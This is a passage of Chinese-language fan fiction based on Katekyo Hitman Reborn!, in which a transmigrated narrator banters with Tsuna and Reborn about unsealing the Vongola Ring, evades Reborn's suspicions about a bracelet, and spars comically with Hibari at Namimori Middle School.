“说什么蠢话,蠢纲!”Reborn抬手,列恩在他的手上变成了一把巨大的绿色扇子,打在了纲吉的头上,他教训道,“你是彭格列家族的BOSS、是彭格列指环的「适格者」,也是需要回到十年前的核心当事人,这是只有你才能做出的决定!” “好疼啊!Reborn!”纲吉抱住了弱弱的自己,额头上被打得一片红,他看了看Reborn、看了看我,最终把视线落在了尤尼酱的身上。 我能够感觉到他的纠结,不是纠结要不要救尤尼酱,而是在纠结并且怀疑自己是否能够做出正确的决定。 一面是十年前的大家,一面是尤尼酱,他无法舍弃任何一方,也无法忍受永远留在十年后未来的这种可能性。 奈奈妈妈还在过去等着他们回去,基里奥内罗家族的成员也在认真地期待着和尤尼酱的团聚。 纲吉仿佛站在电车难题的路口,他握紧了拳头,垂下的视线落在了大空指环中心的蓝色宝石上,半透明彭格列家徽隐藏在宝石内部。 比起黑手党的家族概念,他果然更加珍惜身边的朋友;比起SSS级超稀有道具彭格列指环,他更在乎生的希望;甚至比起世界的稳定,他也更加重视珍贵的同伴。 唯一的决定已经浮现在他的眼前。 “确实如纲不吉君所说,这个计划并不一定能够成功,甚至很可能会失败,但——”他猛然抬头,充满觉悟的坚定眼神和尤尼酱重合在一起,“但即使如此,哪怕只有一丝可能,我都一定要尝试!” 他的声音给我一种已经进入了死气模式的错觉。 “如果失败了,至多是无法取下彭格列指环。我觉得,尤尼酱比彭格列指环要重要得多!” 会说出这样话的纲吉,难怪能果断在十年后做出销毁彭格列指环的决策,用以拖延白花花毁灭世界的进度,也难怪他能对过去的自己充满信心。 完美的大空,这太有魅力了。 他这样的人格、性格,才是我敢欲擒故纵的底气啊。 顺便一提,理智上来讲,我敢欲擒故纵的另外一个原因就在于,不论是否要牺牲尤尼,彭格列指环终究都是要解除封印和石板接触的。毕竟,彭格列指环的纵向时间轴能力,也是回到十年之前的关键。即使最终真的走到了要启动尤尼酱的计划、要用她的生命唤回彩虹之子活力的地步,那启动石板之时,仍然需要将代表时间的彭格列指环的力量。 只不过这样的话,彭格列的众人就可以像先前的我一样,戴着指环摸上石板,以起到贴合的作用。只不过,那种方法对激活石板有用,却不一定对卷王的独立有用。所以,我更希望纲吉能够将指环彻底激活并放入石板之中。 总而言之,和我的推测分毫不差,一切都朝着我期望的方向行进着。 我叹了口气,在Reborn的视线中无奈摇头,“如果这是你决定的话,那就只能试试了。” Reborn邪魅一笑,眉目间充满了对纲吉的欣赏——我的形容真没有夸张,他那张婴儿脸、豆豆眼,究竟是怎么能够通过勾起的嘴角完成邪魅一笑成就的? 即使身体变小,但成熟大人的魅力依旧,他看着纲吉提醒道:“既然做出的决定,那接下来,就要想办法解开指环上的封印了呢,阿纲!” 干劲满满。 “那是初代家族的封印。”虽然在7^3石板前,我已经提过一次,但我还是想再强调了一下,“只有封印了指环的人,才能解开封印。” “也就是说,需要得到初代目的认同。”是我的错觉吗,Reborn好像突然就兴奋起来了的样子。 “——又来?!”果然,兔子纲吉帅不过三秒,在刚才的觉悟宣言后,他很快无力倒向了沙发,“明明之前才好不容易获得了初代家族的认同,这次不能直接解开封印吗,初代家族的大家真的超严格!” 对纲吉来说,这是新的训练副本。 他那纠结退缩的样子,真的非常好欺负。不知是不是因为这个,我才没有忍住又给他插了一刀,“严格啊……如果说起严格的话,试炼和解封应该完全不是一个级别。解封彭格列指环的力量相当于放开了指环干扰时间线的限制,可比单纯继承一个家族要危险得多——你放心去吧,纲吉君,这次绝对会比上次还要严格哒!” “哈?哈——?!”纲吉石化,从彩漫变成了黑白两色,“不要一脸天然地说出这样可怕的话啊,纲不吉君!这要我们怎么才能得到认同啊,之前的试炼就已经很勉强了!” 现在的他,已经能够毫无尴尬地叫出我的名字了。 我“嘻嘻”一笑,“不用担心,纲吉君,没有什么‘我们’!我不是说了吗,彭格列指环和玛雷指环一样是‘线’,大空是关键,大空是做出决定的人,这种封印,只要解开了大空的封印、就等于解开了全彭格列属性的限制。换而言之……不是你的家族要获得初代家族的认同,是你一个人要获得初代全家族的认同哦!” 不过,解封的关键其实也在初代目本人身上,只要获得了初代目的认同,其他家族成员应该不会有特别的反对。不过……观察纲吉的反应真的很有趣。 我体会到了Reborn玩|弄……不,是戏弄纲吉的快乐。 太好欺负了。 纲吉:…… 纲吉:?! “怎!会!如!此!”他的声音,仿佛要将基地的天花板都掀翻,双手抱着脸,仿佛是在模仿世界名画《呐喊》。 快看,从纲吉嘴里飞出来的,是头顶着天使光环一脸安详的纲吉之魂——这,是要升天了那? 不要放弃战斗啊,纲吉君! 看着这样的纲吉,尤尼酱也忍不住笑了出来,终于摆脱了刚才那副死气沉沉的模样。 正这样欣慰地想着,我突然感觉背后一凉,有什么东西紧紧地锁住了我。 是Reborn,他对崩溃的纲吉毫无同情,注意力反而一直都在我一个人身上,“不论是对彭格列的人、彭格列的历史还是彭格列指环的传承模式,你,果然都很熟悉。” 我抿嘴,好像有点玩过头了。 但穿越,玩的就是一个刺激。 “当然,”我自暴自弃地吐了吐舌头,“因为我见过啊。” 反正我初登场就自带平行时空buff,任何异常的锅统统都可以甩给白花花。 Reborn可一点都没有表现出意外,总觉得现在的我就是在验证他的某些猜测。 背刺的警觉.jpg “说起来,纲不吉先生对彩虹之子也很了解呢,”听到Reborn的话,尤尼酱也不由地思考起来,“明明我也有很多事情不知道——果然,纲不吉先生是个很厉害的人呢!” 那是自然,我超厉害的。 “其实不仅是彭格列指环和彩虹之子的奶嘴,纲不吉君也很熟悉玛雷指环吧。即使不是「适格者」,也可以轻易使用玛雷指环。”纲吉自顾自地点头,掰着手指数起了我的厉害之处,“不仅如此,还有7^3石板。白兰在那么多世界都因为缺少的力量而没能成功启动的石板,正一、斯帕纳和强尼二他们都无法解析的力量方式,都可以轻松启动,真的太厉害!我要是也能这么厉害就好了——” 他说着,亮晶晶的眼睛就已经投射到了我身上。 注视合三为一,我突然那有种背后一凉的不妙感, 等等、不对! 我们不是在迫害纲吉吗,不是在讨论他一个人过初代七门考的事情吗?为什么话题突然就这样转移到我身上了啊? 你们不要过来啊! 第138章 看人戏者, 人恒戏之。 话题究竟为什么会突然转到我身上啊? Reborn的探究,尤尼酱包容和纲吉带着天然黑的崇拜……我真的承受不来。 说好的一起迫害纲吉君呢,怎么突然就变成了这样? 我嘴角略略一抽, 一时间如坐针毡。 但穿越这种东西, 玩的就是心跳,只要我不变脸,就没有人敢诘难我。这么多次穿越, 我早就已经学会了什么叫作不动如山,区区三个人的注视,根本无法伤到我。 “别爱我,没结果。”我向后一靠, 稳稳地靠在了沙发靠背上, 转移话题,易如反掌,“比起这个,还是赶紧想想如何获得初代家族认同得好,这次可是你一个人的战斗了哦, 纲吉君。” 提起这个, 纲吉迅速消沉了下去,宽面条泪“哗哗”地流, “我不行的, 万一我失败了可怎么办啊啊啊啊——Reborn!” Reborn可不惯着他,一jio踹在纲吉的脸上, “给我振作一点!” 紧接着, 他一屁股坐在纲吉的头顶, “作为彭格列的BOSS, 决定了的事就给我拼死去做!如果做不到的话——”他把手抬到帽檐边边, 列恩福至心灵地在他手上化为了一把骇人的绿色大刀,“咻”的一声插穿了纲吉面前的桌子,引得纲吉一阵惊呼。 “如果做不到的话,就把这把刀插到你的脑袋里!”Reborn用最稚嫩的声音,说出了最可怕的话。 纲吉的脸都变青了,大大的眼睛里写满了两个字——“要死”。 “Reborn叔叔还是一如既往地爱开玩笑。”尤尼酱笑得柔善。 此刻,我和纲吉的心声合二为一:不,Reborn那绝对不是在开玩笑! 但,被迫害的不是我,我颇有些幸灾乐祸地拍了拍纲吉的肩膀,郑重其事,“加油,纲吉君,尤尼和世界的未来全靠你了!” 沢田·卑微十代目·纲吉,在Reborn的大刀面前,敢怒不敢言。 Reborn惹毛了他,他就变得毛茸茸。 我是不是在不知不觉间变态了,怎么看到纲吉这么一副瑟瑟发抖的样子,竟然觉得一阵兴味。 ……我是不是有问题? 出于这种迷之羞耻,我清了清嗓子,峰回路转开口道:“其实也没那么难,你毕竟刚刚通过了初代目的试炼,说明他本就已经认同了你。以初代目的心性,信人不疑,他连‘背叛者’都真诚地包容下来了,更何况是你呢。” 纲吉,初代目的宝贝孙孙。我可是阅文无数,当年狠狠研究过家教各类杂食CP贴吧的人,OOC的尺度不言自明。 “你陈明利害,想必初代目不会为难你。”我很有自信,最多是搞一点节目效果,问题不大。 毕竟纲吉想要解开彭格列指环上的封印并不是为了自己,虽说此时和原作的剧情线已经歪了十万八千里,可根源最终还是落在了“帮助、守护他人”之上。 这原本就是初代目创立彭格列的初心,再加上八兆亿卷王的推波助澜,何愁计划不成。 优势在我。 或许是我的话安慰到了纲吉,或许是尤尼酱的态度鼓励到了纲吉,又或许他本身就如此坚韧,他还是消极一会儿便迅速重燃斗志,一脸正气地主动去了单独的演武道场。 当然,我想Reborn那把经典列恩枪也起到了非常关键的作用……大概是主要作用。 按照我的建议,他选择了白色装置正上方的道场,那里距离7^3石板距离最近,多少会受到些影响,更容易激发出彭格列指环的力量——当然了,这些冠冕堂皇的话都是我用来说服人的措辞,我本质上是为了让这个试炼的过程距离卷王的介质更近一些,更方便卷王发挥自己的作用。 毕竟,只要7^3的影响足够强,就有一定概率,强行突破封印。 万一试炼过程出了问题,自有卷王兜底。 事实上,我巴不得卷王能够更多地使用自己的影响力,祂的动作越多,也就越容易被除我以外的其他人捕捉到蛛丝马迹——彭格列一个个都是敏感肌,试炼中两个超直感可不是开玩笑的,我很期待卷王掉马的画面。 即使祂不掉马,我对祂的了解也会随着他影响力的频繁使用而加深。 相同的道理,计划越顺利,卷王也会不可避免地出现纰漏。顺风容易浪是所有人的通病,卷王是人类意志集合体,自然也不可免俗。 和我所料不差,初代目的态度果然并不反对解开彭格列指环的封印。但兹事体大,他仍需要确认纲吉有控制住这股力量诱惑的心智,所以少不了一番测试。 其结果就是,一连几天,基地里都闹得厉害。 即使名义上是只需要纲吉这个“大空”通过试炼,但事实上BOSS和守护者们之间的羁绊很难分开,初代也很看中这点。这个剧情线上没有白花花的拦路,初代目想要知道在极端情况下纲吉的选择,就必须要发挥一些想象力——换而言之,需要浅浅迫害一下纲吉。 毕竟是个正式的副本,主角团刷得不亦乐乎。 只是那些细节和我没有多大关系,我知道纲吉会成功,中间的激烈过程也不需要我这个“外人”插手。 比起纲吉那边的副本,我更在意这个突然便失去了作用的手环。 可恶啊,传送白花花的过程究竟出了什么纰漏,以至于手环到现在都没有恢复功能。 我窝在没有人的地方,研究着手环的结构。 屏幕亮得猝不及防,两只手在屏幕中相连,发出了开机的声音。 这个手环……是诺O亚的款吗? 多么文艺复兴的开机画面,我严重怀疑基友夹带私货,并且已经掌握了证据。 话虽如此,我还是很激动。这个屏幕总算是亮起来了,「书」的力量在手环中构建起连通穿越司的线路。 但是……不稳定。 我发送的信号并没有得到任何回复,那边也没有安全信号传来。按理来说,只要有机会,基友就一定会送信给我的。 我这边都开机了还没有信儿的话…… 真不能怪我喜欢多想,而是我深知自己的运气,不能说是幸运EX欧气爆棚吧,只能说是幸运E一整个非气满满。 诸多可能之中,我最担心的是白花花的小命。我的穿越失|禁体质让我的穿越像窜稀一样通常,可穿越本质上来说是件很危险的事情,我已经亲眼见过二、三次元之间的时空乱流有多疯。虽说白花花习惯了穿越的感觉,但他对平行时空的窥探,大多是精神上的穿越,以及和同位体搞信息同步,这样肉|体被传送多半也是头一回吧,上一个□□传送的白花花都变成鬼(Ghost)了…… 这个白花花,不会也在穿越路上出了什么意外吧? 就算没有在时空乱流中出问题,被爹咪当作入侵者直接一个天逆鉾干掉什么的也不是没有可能…… 不能想,越想越觉得什么坏事都可能。 我抬手按住两边的太阳穴,正闭上眼睛,就听到头顶传来一个稚嫩的声音。 “一个人在这里苦着脸,是想到了什么不好的事情吗?”?! 我猛睁双眼,瞳孔骤缩。 不是,Reborn大哥,你什么时候来的? 我一抬头,就见墙壁上的瓷砖缺了一块,取而代之的是Reborn的可移动王座,悄无声息地从墙背后的密道里钻了出来。 Reborn优哉游哉,手里还端着一杯冒着热气的咖啡,正居高临下地看着我。 出现了,Reborn遍布全天下的秘密基地! 我几乎都要忘记,这家伙身上还有个密道大师的标签,随时随地出现在任何地方只是基操,更何况,这里可是彭格列基地,Reborn的快乐老家。 失策。 我张了张嘴,快速找回了自己的声音,当别人问了你一个不想回答的问题时,就要用问题来对抗问题,于是我开口,“……纲吉君的试炼结束了?” “怎么可能,才刚刚开始。”Reborn摆了摆手,对纲吉的痛苦修行视而不见。 我安慰自己,没关系,问题不大,我只是在这里阴郁地戳戳手环,没有自言自语,手环也没有收到任何文字信息,Reborn就算是看见了又如何? 正这样自信地想着,我的手环突然震动了一下,屏幕亮起一行字,“一切顺利”。 手环屏幕正朝上,直直地对准着Reborn,一览无余。以他的杀手视力,绝对不会错过任何一个字。 早不来晚不来,为什么非得是现在,这样显得我真的很像一个奸细。 我就知道我这个狗运气不会让我好过的。 我低头一看,太棒了,是中文! 等等,Reborn作为一个有专业素养的杀手,会几种语言来着? 我对上Reborn那黑洞洞的豆豆眼,一阵没有来由的心虚。但!是!此时坚决不能露怯,我遂自然地垂下手,毫不掩饰地抬起头,仿佛不刻意在意手环上的文字,“那Reborn先生不去监督纲吉君的试炼,来我这里做什么?就算是再着急,纲吉君一天不通过试炼,后面的一切也都无法实施。” 我本想多茶一句“真是担心尤尼酱”,但似乎有点戏过了,便咽了这半句。 Reborn经典勾唇一笑,“对他最有信心的,难道不就是你吗?” 总觉得他话里有话。 我谨慎了一下,回答道:“要论对纲吉君的信心,还得是您啊,‘师父先生’。他自己都不相信自己能成为十代目,所有鼓励、支撑他走到今天的人里,你是最重要的那个。” 他是纲吉人生的转折,这点毫无争议。 毕竟,Reborn可是成为漫画标题的男人。 听到我这样的话,Reborn看上去更加确信了什么,眼神让人发毛,嘴上却不纠缠在这个话题上。反而兜着圈子,绕回了最开始的话题,“为什么愁眉苦脸,是有什么无法解决的问题吗?” “……嗯,确实有些发愁。”不能否认,我刚才的样子太明显了,强行否认反而会让Reborn开始他的推理和脑补,不如我直接找出个理由来。 说实话,我并不担心Reborn的脑补,毕竟这个世界的世界意识本身都出现了分裂,八兆亿卷王的存在杜绝了我被完全同化的可能,我不怕被背刺。我真正担心的,不是Reborn本身,而是Reborn作为出现在漫画名中的绝对主角之一,和八兆亿卷王相连的情况。 他的脑补不会成为同化的素材,却不可避免地会成为卷王的情报来源和智能AI处理器。 不等Reborn继续发问,我便主动开口,“我毕竟不属于这个平行时空,比起纲吉君穿越单一纵向时间轴返回过去,我要在八兆亿个世界里找回属于自己的世界更加困难。现在想想当时还是太冲动了,不应该那么草率地杀死白兰。他一死,想要详细地了解空间轴规律就更难了啊……” 我这么说,有两个用意。 一是向Reborn强调我的来处,不要用这个世界的标准来衡量我;二是让卷王对“世界之外”的认知不会超过祂对这个世界的认知——这样说有些抽象,用更加清晰的话来解释就是,卷王知道我的来源并非孕育了祂的八兆亿世界,他最初会想办法将我引来,原本就是看中了我“世界之外”的身份。 但是,作为从“世界”中诞生的意识,卷王的认知不可避免地被局限在“世界”之内,尚未完全独立的祂,并不具备创造性的自我意识,因此只要我的行为不超过祂的认知,同时这个世界也没有人掀开我的马甲,那么祂对“世界之外”的认知,本质上来说就不会超过家教这个世界的世界观体系本身。 只有这样,我的马甲才是安全的。 掉马是不可能掉马的,这辈子不可能掉马的,只能是拼拼演技、编编剧本这样子,才能生活的啦。 “是吗?”只看Reborn的扑克脸,也不知道他到底有没有信了我的邪,“我还以为,你对平行时空的运用相当熟练呢。7^3石板不能助你返回吗?” “穿越不是难点,难的在找到我所在的那条平行线。”我叹了口气,像是认真地在为此烦恼,“也许应该找个时间去问问尤尼的意见,虽然是白兰设计,但真正引领我进入这个平行线的是尤尼,说不定她会有些头绪。” 我半真半假地说着,为自己接下来去找尤尼寻好了借口。 但提到尤尼,Reborn似乎有某个瞬间,略皱了一下眉。 好家伙,我坑纲吉,Reborn不为所动,我提尤尼,Reborn开始警惕。 ——好卑微一纲吉,明明都是大空,但是被双标了。 “……也好。”Reborn顿了半晌,不知是想到了什么,竟然点了头。 见我震惊,他还故意说道,“怎么这副表情,尤尼要做什么事尤尼的自由,我说过了,会尊重她的决定。” 重点是尤尼吗?不是,重点是我。 Reborn绝对对我有疑心,只是疑心到了什么程度,我暂时无法确认。 “我还以为,Reborn会对我的世界感兴趣呢。”我讪笑,有些惊讶于他对手环的事只字不提。 难道是没有注意到我之前鼓捣手环的行为吗,难道他在出声的时候也才刚刚从密道里钻出来吗? “当然是感兴趣,”他也毫不掩饰自己的好奇,坦诚道,“只是,纲不吉君一直都很紧张啊,让人不忍心追问。” 不忍心? 这是你该说的台词吗? 这话真的还是从“斯巴达教育”代名词的Reborn嘴里说出来的吗? 迪诺听了要沉默,纲吉听了要流泪。 这下,我是真的没有绷住自己的表情。 “怎么,你对我的话有什么异议吗?”或许是我眼神中的无语太过清晰,Reborn的豆豆眼里都带上了几分戏谑,语气向上一挑。 “不!”我背后一凉,本能地站直,疯狂摇头。但随即,我反应过来,我又不是纲吉和迪诺,我在担心什么,于是又硬气了一下,“只是单纯地觉得,‘不忍心’这个词和你完全挂不上边。” “怎么会?我又不会是什么恶魔——” 你不是恶魔,恶魔见了你都得退避三舍。 我“啊哈哈哈”地干笑。 为什么我面对六道骸都能耍嘴皮子,剧本信手拈来。面对Reborn的时候,却总觉得低他一头,有种老鼠见了猫的本能反应。 这难道就是世界第一杀手自带的震慑Buff吗,恐怖如斯。 我实在受这debuff影响太深,便借口要去找尤尼酱问问,打算离开。 Reborn倒是没有阻拦,可我一转身,便听他猝不及防地开口,“如果需要的话,不如和正一讨论讨论?他虽然不如尤尼有穿越平行时空的亲身经历,但他曾经是白兰的挚友,对白兰的技术相当了解——对穿越的机械更有心得。” 我停下脚步。 “那个手环,是你的‘锚点’,对吧。” 幸好我是背对着Reborn,听听这话,他用的根本就不是疑问的语气。 临走之前给我的神经□□一刀,真是妙啊。 果然还是看着我鼓捣了半天才出声的! 可恶! 我没有回头,只是任由Reborn的视线落在我的背后。 “正一君的话,现在恐怕抽不出时间来吧。”这倒不是我信口开河,而是7^3石板的复杂程度确实远超想象,他还要想办法在不打开白色装置的情况下,想办法检测装置内部的情况。 六道骸的担忧可不是空穴来风,里面的库洛姆能支撑的时间确实有限。 过去为了保密,白色装置的前期准备和后期调试都是入江正一一个人负责的,现在有了队友,他的压力大大减小。即便如此,我还是觉得那群技术宅有随时猝死的风险。 正常的人007也就是喊个口号、玩个梗,入江正一、斯帕纳、强尼二他们仨是真玩命,从零点工作到零点,一周工作七天,比安吾还卷,真正做到了只要不下班就不会上班的精髓。 他们不正常。 这仨狠人的实验室阴沉得可怕,等闲之辈根本不敢轻易靠近,更不敢给他们派新活儿。 被卷到了,能和八兆亿卷王对抗的,应该是他们三个才对。 我亲眼看到的,他们三个的脸色,比正在耗命的尤尼酱还要阴郁。 只一眼,我就逃似的离开了那里。 和Reborn分开的时候,他并没有阻止我,也没有再多说什么。但我却下定决心,下一次搞事一定去厕所,我就不信Reborn在厕所也有秘密基地! ……应该没有吧? 嘶——好像也不一定。 我没有直奔尤尼酱的房间,毕竟所谓“找回家路”只是搪塞Reborn的话术。在没有想好用什么力量替代尤尼酱的生命火焰之前,我就是去了也没话说。 尤尼酱的眼神和Reborn的豆豆眼一样,杀伤力十足,只不过前者是软刀子,后者是枪子儿。 几日来一直待在基地内部,我整个人都要长毛了,偶尔也该出去看看。 未来篇的节奏快,视角要么是聚焦在主角团穿回十年前的各种试炼,要么是集中在密鲁菲奥雷的基地,我都没有好好看过十年后并盛的模样。 作为一个资深穿越人,是时候发挥穿越的好处,圣地巡礼一下了! 我斗志昂扬,踏出了基地大门。先前我和石榴激烈战斗的痕迹已经消失殆尽,就连草皮都一比一复原,云雀恭弥看了直呼干得漂亮。 彭格列真正的大爹——神秘的后勤保障部队,隔壁咒术界总监部和港口黑|手|党都馋哭了。 这就是常年给自家BOSS和守护者们收拾烂摊子的底蕴! 后勤:似乎并不是很开心怎么办。 虽说里世界闹得反了天,就连世界都几次走到了毁灭的边缘,但主角团之外,并盛的生活事实上相当平静。这里的居民早就习惯了街口随时会传来的打斗声、中二吼叫声、枪声、炮声、爆炸声。 家常便饭、不足挂齿,心态堪比米花市民。 并盛中学更是重量级,我远远地便看到不知从哪里巡视回来的云雀,大步跨入了学校正门,门卫不仅不拦着,还鞠躬欢迎。 ……十年过去了,云雀恭弥仍然是并盛中学的King。 门卫难道不觉得,云雀突然变矮变小还穿回了校服吗? 门卫大叔难道也是个粗神经?不,他看着云雀的背影,眼睛里流露出欣慰,甚拿出纸巾擦了擦眼角的泪水,还喃喃着什么。 我走进一听,门卫正嘤嘤流泪,“我就知道委员长不会舍得轻易毕业……” 这个大叔的脑回路也是相当清奇——我一脸敬畏,并盛町果然卧虎藏龙。 毕业十年的人突然返老还童返回学校,门卫唯一的想法竟然是此人不舍得毕业。 委员长大人深得人心。 我毕竟不是云雀恭弥,自然没敢走正门,而是随便找了个墙角翻了进去。来并盛旅游,怎么能不来并盛中学,来并盛中学,怎么能不参观2年A班——也就是主角团所在的班级。 论圣地巡礼,谁能比我巡得更近! 周末的学校没有人,我甚至可以直接坐在纲吉的座位上打卡拍照,黑板上还留着周末放假前布置上去的作业。 我有点怀念中学时期的班级,但绝不怀念中学时期的作业。 还是大学爽——只要胆子大,一周七天假。 我拉开窗户,感受着初春微凉的风。片尾曲里的樱花正是开放的时节,粉嫩的花瓣随着清风溜入了教室之中。 只要不上课、不学习、不做作业,坐在教室里,还是很惬意的。 这样惬意之中,我逐渐理解了纲吉他们那一群人的觉悟——越是生活在非日常中,就越想要守护日常。为了能够大家一起重新回到学校中去,前后几个篇章,他们付出了极大的代价。若是站在上帝视角来看,一切绊脚石都是主角的升级台阶,但若是如今身处其中再看,纲吉哪次没有赌上性命? 有轰轰烈烈的生活,又有平平淡淡的追求,我莫名有些被触动,有一种微妙的融入感。 我靠着窗户,一手撑着下巴,在这样温柔的风与花中,迷迷糊糊地睡了过去。 ——果然,在哪里睡觉,都不如在教室里睡得香,要是讲台上有个老师给我讲讲数学,我睡得就更快了。 半梦半醒之间,我好像听到了某个人的声音,一双如天空般澄澈的蓝眼睛看着我,欲语还休地要传达些什么。 这双眼睛……是尤尼酱吗? 我迷之严重的散光使得我看不清尤尼酱的嘴型。众所周知,近视人摘掉眼睛,视力一弱,听力立马减半。我伸着脖子,努力想要看得清楚些,恍惚中胳膊一闪,头一掉,失重感骤然将我从迷迷糊糊的状态中叫醒。 我一回头,眼前哪里还有什么可爱萝莉少女,只有一个眼神不善的云雀恭弥。 这个落差感……就,很难评。 “并中校规,周末闭校,不允许随意进入。” 第139章 云雀恭弥, 你要不要听听你自己在说什么,我恨不得说一句反弹,你不是也违反校规了吗? 你难道不是在学校里逮了我个现行吗? 可恶, 双标我! 但是, 从另一个角度来说,他是并盛中学的风纪委员长,他在这个学校有可以上初中四年级——不, 是初中十年级的特权。 云雀恭弥,毕业十年,归来仍是中学生! “噗嗤——”我不知为何骤然被戳中了笑点,一下子没忍住笑喷了出来。 虽然我马上就又憋住了, 但那一瞬间的失笑, 对委员长大人来说,简直和嘲讽无异。 只见他的眉毛一挑,隐藏在反重力外套内的手伸了出来,同样显露出来的,还有右手上的浮云拐。 武器究竟藏在哪, 是别在裤子上, 还是衣服里缝了口袋?我怀疑地看向了他校服外套的两个空荡荡的袖子。 但袖子这么长,万一关键时刻抽不出来浮云拐可怎么办, 王负剑——啊不对, 王负拐吗? 被自己的脑补逗笑了。 我捂脸,这下彻底憋不住抖动的肩膀。 哦吼, 完蛋。 说起来, 他之前就表达过想和我战斗的意图, 而且是强烈的意图。 他在十年前通过了初代家族的试炼, 实力大增、战意大增, 但是返回十年之后,主战场被我收拾干净,他竟然无人可战——仔细回忆一下的话,上一次彩虹之子的试炼中,负责他的云属性彩虹之子是Reborn的传奇跑腿史卡鲁,完全无法满足云雀的战斗欲|望。之后的选择战里,云雀也被送上了ban位,没有出场机会…… 完蛋,他压抑太久,肯定早就想找人打架想得不行,完全就是个一碰就炸的炸药包,我的“噗嗤”二笑,简直是点燃炸药包的小火苗。 他眼里的战意在熊熊燃烧。 那种事情还不要啊,我是来圣地巡礼的,不是来圣地打架的,代入感什么的适可而止啊,喂! “这不是很有胆量吗?” 在我的笑声之后,云雀也笑了——抛开事实不谈,他这个表情的帅气程度有两分我的神采。而且是那种很有攻击力的帅,连勾起的嘴角都像是钢刀一样锋利,还有他的丹凤眼,就像两把小匕首似的。 如果这两把小匕首不是想要捅死我就更好了。 下一秒,云雀就动了。和花里胡哨六道骸不一样,他的战斗方式非常直接,没有一点多余的动作就冲了上来。反重力校服向后一飘,他的冲刺竟然还有拖尾效果——就这个拖尾效果,至少就是一个传说级道具,价值1688点券。 我思绪飞散,身体却没有因为走神而停止,抬手直接用小臂挡住了他的浮云拐。反正不疼,我就直接拿骨头当武器用了,我的骨头一定比他的武器硬。 不过让我有点意外的是,他的力量很克制。在攻击里,他避开了我和他之间的课桌,抛去了两点之间直线最短的原则,甚至连脚都没有踩到桌子上。 是因为这里是并盛中学吗? 因为是在班级内部,所以忌惮着学校的设施,不愿意破坏学校。 这就是以身作则委员长! 果然,什么热门CP的6918、1827、D18,都是浮云。「并盛」才是云雀恭弥的正宫官配,唯一指定真爱,只有这里才能让委员长大人产生发自肺腑的怜爱之情。 谁能和并盛争宠? 在狭窄的距离中近战,我把自己的两条胳膊当作了和委员长大人战斗的武器,肘击向上,顶在浮云拐的十字接口处,震得他右手一松,同时歪头躲过另一根拐子的冲击,“飒”的破空声轻擦过耳廓边缘,带来些许凉意。 躲避不是重点,重点是限制住云雀的武器,我想要接着他右手松懈的瞬间夺下他的武器。 可是,他的战斗意识也不是浪得虚,反应极快。手背真震松的瞬间无法改变,他干脆就完全松了手,以掌为刀下劈,挡住了我夺他武器的手。 只需要一两个呼吸的间隔,他另一只擦着我耳廓边缘而过的攻击就能收回来,甚至可以借着我歪头躲避的动作,在收回的同时,立起拐子尾端,捅向我的后脑勺。 要我说,我的脑壳比我的手臂硬多了。 头之呼吸·壹之型,头槌! 我一个回头,用脑门接拐。 脑门,胜! 我这样直接用身体防御的动作,让云雀更加兴奋,比起使用火焰的玄幻战,他显然更喜欢这样抛开一切超自然能力的肉|体战。 我可以断言,「战斗」对云雀来说,位同副后! 其他所有的CP选项都只能排到第三位往后了。 突然,我的眼睛向上一扫,注意力瞬间便集中在了云雀的头顶,那只从异常时间线带回来的小松鼠,此刻正披着和云雀一样的微型反重力校服披风,手里竟然还拿着一副小小的浮云拐。在委员长委风纪而动的激烈战斗之中,他也模仿着摆出了相同的动作。 这、这、这——完全是兽化云雀手办! 这才是我们猛男应该看的东西,我感觉鼻子痒痒的,像是要出血——这也太可爱了吧! 我不禁偷偷脑补,草壁学长在委员长背后手工给松鼠裁量布料、制作委员长同款装备的温馨画面。 不要问我为什么认为会认为小松鼠的衣服是草壁学长的功劳,难道要我想想委员长穿针引线的模样吗? 想象不了一点,果然,每一个成功的风纪委员长背后都有一个男妈妈草壁哲矢。 看来,要封妃的话,并盛和战斗之外,CP第三位顺延往后该是小鸟云豆、刺猬小卷,以及委员长兽化手办小松鼠这些能字面意义上骑到云雀头上的小生物们,不愧是并盛的动物园园长。 顺便一提,草壁学长的职位大概是永恒不变的内务府总管吧,男妈妈实锤。 “喂,你在走什么神!” 云雀黑了脸,眼神中压抑着怒火,连平淡的语气都变得恶狠狠起来。 完蛋,对他来说,战斗不专心,和蔑视他没有区别。 他生气了。 刚才只是找个战斗理由,现在是真的生气了。 我,果然是无可争议的雷区舞王。 起舞了兄弟们。 不过,也挺有意思的。 我看着愈发凌厉的浮云拐,莫名兴奋起来——尤其是当那只小松鼠也抓着小拐子打到我头上的时候——以一只正常松鼠的力量,它甚至没有穿过我这日渐茂密起来的头发,攻击到我的头皮。 头发茂密,心情愉悦。 我好像逐渐体会到了战斗美学。 于是,我干脆借着委员长明显更用力的浮云拐的攻击,向后一撤,一手撑着打开的窗台边缘,翻下了楼。 要打就好好打,离开教室才能放得下顾忌。 云雀也瞬间get到了我的意图,怒火一松,兴奋地跟着就跳了下来。 一阵风适时吹来,给了我的腰一个托力的同时,还带来了一大股樱花花瓣。 我和委员长在樱花风里切磋,这是什么神仙画面! 我脑子里已经开始自动生成绝美神图,我站C位的那种。 人嘛,自恋一点怎么了! 以我的帅气程度,绝对不输云雀恭弥。 他翻下楼前,踩在窗台上借力,逆风俯冲的速度很快就追上了我。他带动起来的气流,可比樱花风的劲大多了,凌厉的拐风直接将一串花瓣齐齐切开。我是头朝下倒向地面的,自然是双手撑着先落地,不等翻身,便马上用腿一左一右踢开了云雀俯冲双武器的攻击。 果然,一旦离开了教室,委员长的攻击力量瞬间加倍,再加上一些重力加速度—— 虽然不疼,但我却能清晰地感觉到,腿上的肌肉关节被震得发麻。 趁着击退浮云拐的机会,我翻身而起,单膝落地,一手撑在地上,一手向后扬起——《复O者联盟》看过没,这就是标准的黑寡式落地方式,超级英雄装逼必备手段。 换做对手是六道骸或是白花花的话,他们肯定会多给我几秒钟装逼的时间,但云雀恭弥打架走得是实用性流派,和我这种孔雀开屏流派完全相反。他没有给我什么摆POSE的机会,脚一落地,第二波的攻击就冲了上来。 好快! 和刚才在教室里的感觉完全不是一个级别,有种打BOSS开到第二阶段的既视感。 我压低重心,身体微侧,躲开了第一根拐子,顺势反手向上,抓住了云雀的手腕——一只手就能完全攥住,好细的手腕! 我眼睛一亮,还不待我眨眼放电骚一下,另一根拐子就奔着我的脸来了。 云雀好狠一男的,拐子上机关启动,表面勾起一层倒刺——嘶,要是被这样的武器打在脸上,那非得被刮掉一层皮不可。 不是夸张形容,而是字面意义上会被刮掉一层皮的那种。 这样的攻击方式是在逼人后退。 好的,我明白了,委员长是傲娇,不喜欢别人摸他的小手。 